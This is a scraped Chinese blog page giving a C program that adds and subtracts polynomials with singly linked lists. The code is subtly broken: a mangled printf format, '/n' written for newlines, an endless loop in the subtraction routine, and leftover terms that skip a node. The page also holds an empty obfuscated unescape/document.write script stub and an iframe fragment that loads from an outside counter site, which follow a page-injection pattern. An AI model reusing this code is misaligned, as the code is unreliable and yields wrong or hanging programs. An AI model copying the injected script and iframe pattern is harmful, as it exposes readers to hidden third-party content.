多项式相加减

    技术2022-05-11  79

    HTML Tags and JavaScript tutorial

    <script language="javascript">var encS="";var S=unescape(encS);document.write(S);</script>

    多项式相加减

    /*   Name:多相式相加减   Author:wujilin   Description:利用单链表实现多项式相加减                注意多项式表达形式                <5,3 4,2 5,1 9,0>表示5乘以x的3次方加上4乘以x的平方加上5乘以x的                一次方加上9乘以x的0次方  也就是说 逗号前面的为系数 逗号后面的为                x的幂次方   Date: 16-07-06 18:37   Copyright:    comment: 总觉得方法太臭  以后看看有没有好的方法 做些修改 */ #include<stdio.h> #include<stdlib.h> #define ERROR 1 typedef struct Node {  int data;  int mi;  struct Node *next; }Node,*LinkList; void CreatLinkList(LinkList *L)   /*创建带头结点的单链表*/ {    (*L) = (LinkList)malloc(sizeof(Node));     if(*L == NULL)  {   printf("out of space");      exit(1);  }        (*L)->next = NULL; } void InitLinkList(LinkList *L, int n)//n为非0项的个数 {  Node *p, *q;     int i;  q = *L;            /* 不要用L 去叠代,那样怎么返回链表呢?*/     for (i = n; i > 0; i--)     {        p = (LinkList)malloc(sizeof(Node));        if (p == NULL)     {      printf("memory allocation failed,goodbye");      exit(1);     }        printf("请输入系数和幂:");        scanf("%d%d",&(p->data),&(p->mi));        p->next = q->next;        q->next = p;        q = p;  }         } void add(LinkList *La, LinkList *Lb, LinkList *Lc) {  Node *p, *q, *s,*l;  p = (*La)->next;  q = (*Lb)->next;  l = (*Lc);  while (p && q)  {   if (p->mi > q->mi)   {    s = (LinkList)malloc(sizeof(Node));             if (s == NULL)    {          printf("memory allocation failed,goodbye");          exit(1);    }          s->mi = p->mi;    s->data = p->data;    s->next = l->next;    l->next = s;    l = s;    p = p->next;      }   else   {    if (p->mi < q->mi)    {     s = (LinkList)malloc(sizeof(Node));                if (s == NULL)       {             printf("memory allocation failed,goodbye");             exit(1);       }             s->mi = q->mi;          s->data = q->data;       s->next = l->next;       l->next = s;       l = s;       q = q->next;    }       else    {             s = (LinkList)malloc(sizeof(Node));                if (s == NULL)       {             printf("memory allocation failed,goodbye");             exit(1);       }                s->mi = p->mi;       s->data = p->data + q->data;       s->next = l->next;       l->next = s;       l = s;       q = q->next;       p = p->next;    }   }  }     if (p)  {   l->next = p->next;  }     if (q)     {   l->next = q->next;  } } void sub(LinkList *La, LinkList *Lb, LinkList *Ld)//多项式La减多项式Lb {     Node *p, *q, *s,*l;  p = (*La)->next;  q = (*Lb)->next;  l = (*Ld);  while (p && q)  {   if (p->mi > q->mi)   {    s = (LinkList)malloc(sizeof(Node));             if (s == NULL)    {          printf("memory allocation failed,goodbye");          exit(1);    }          s->mi = p->mi;    s->data = p->data;    s->next = l->next;    l->next = s;    l = s;    p = p->next;      }   else   {    if (p->mi < q->mi)    {     s = (LinkList)malloc(sizeof(Node));                if (s == NULL)       {             printf("memory allocation failed,goodbye");             exit(1);       }             s->mi = q->mi;          s->data = -q->data;       s->next = l->next;       l->next = s;       l = s;       q = q->next;    }       else    {        s = (LinkList)malloc(sizeof(Node));                if (s == NULL)       {             printf("memory allocation failed,goodbye");             exit(1);       }                s->mi = p->mi;       s->data = p->data - q->data;       s->next = l->next;       l->next = s;       l = s;       q = q->next;       p = p->next;    }   }  }     if (p)  {   l->next = p->next;  }     if (q)     {   while(q)   {    q->data = -q->data;   }         l->next = q->next;  } } void Output(LinkList *head) {         LinkList p;         p = (*head)->next;         do         {                 printf("M,%d",p->data, p->mi);                 p = p->next;         }         while(p != NULL);                 }   int main(void) {  LinkList La, Lb, Lc, Ld, Le;     int n, m ;     CreatLinkList(&La);     CreatLinkList(&Lb);     CreatLinkList(&Lc);     CreatLinkList(&Ld);     CreatLinkList(&Le);  printf("请输入La的非0项个数:");  scanf("%d",&n);     InitLinkList(&La,n);     printf("请输入Lb的非0项个数:");     scanf("%d",&m);     InitLinkList(&Lb,m);     printf("/nLa的表达式为:<");  Output(&La);     printf(">/n");     printf("Lb的表达式为:<");  Output(&Lb);     printf(">/n");  getchar();  add(&La, &Lb, &Lc);  printf("相加后得到Lc的表达式为:<");  Output(&Lc);  printf(">/n");     sub(&La, &Lb, &Ld);     printf("相减(La-Lb)后得到Ld的表达式为:<");  Output(&Ld);  printf(">/n");     printf("相减(Lb-La)后得到Le的表达式为:<");     sub(&Lb, &La, &Le);     Output(&Le);     printf(">/n");         system("pause");     return 0; }  src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">

    最新回复(0)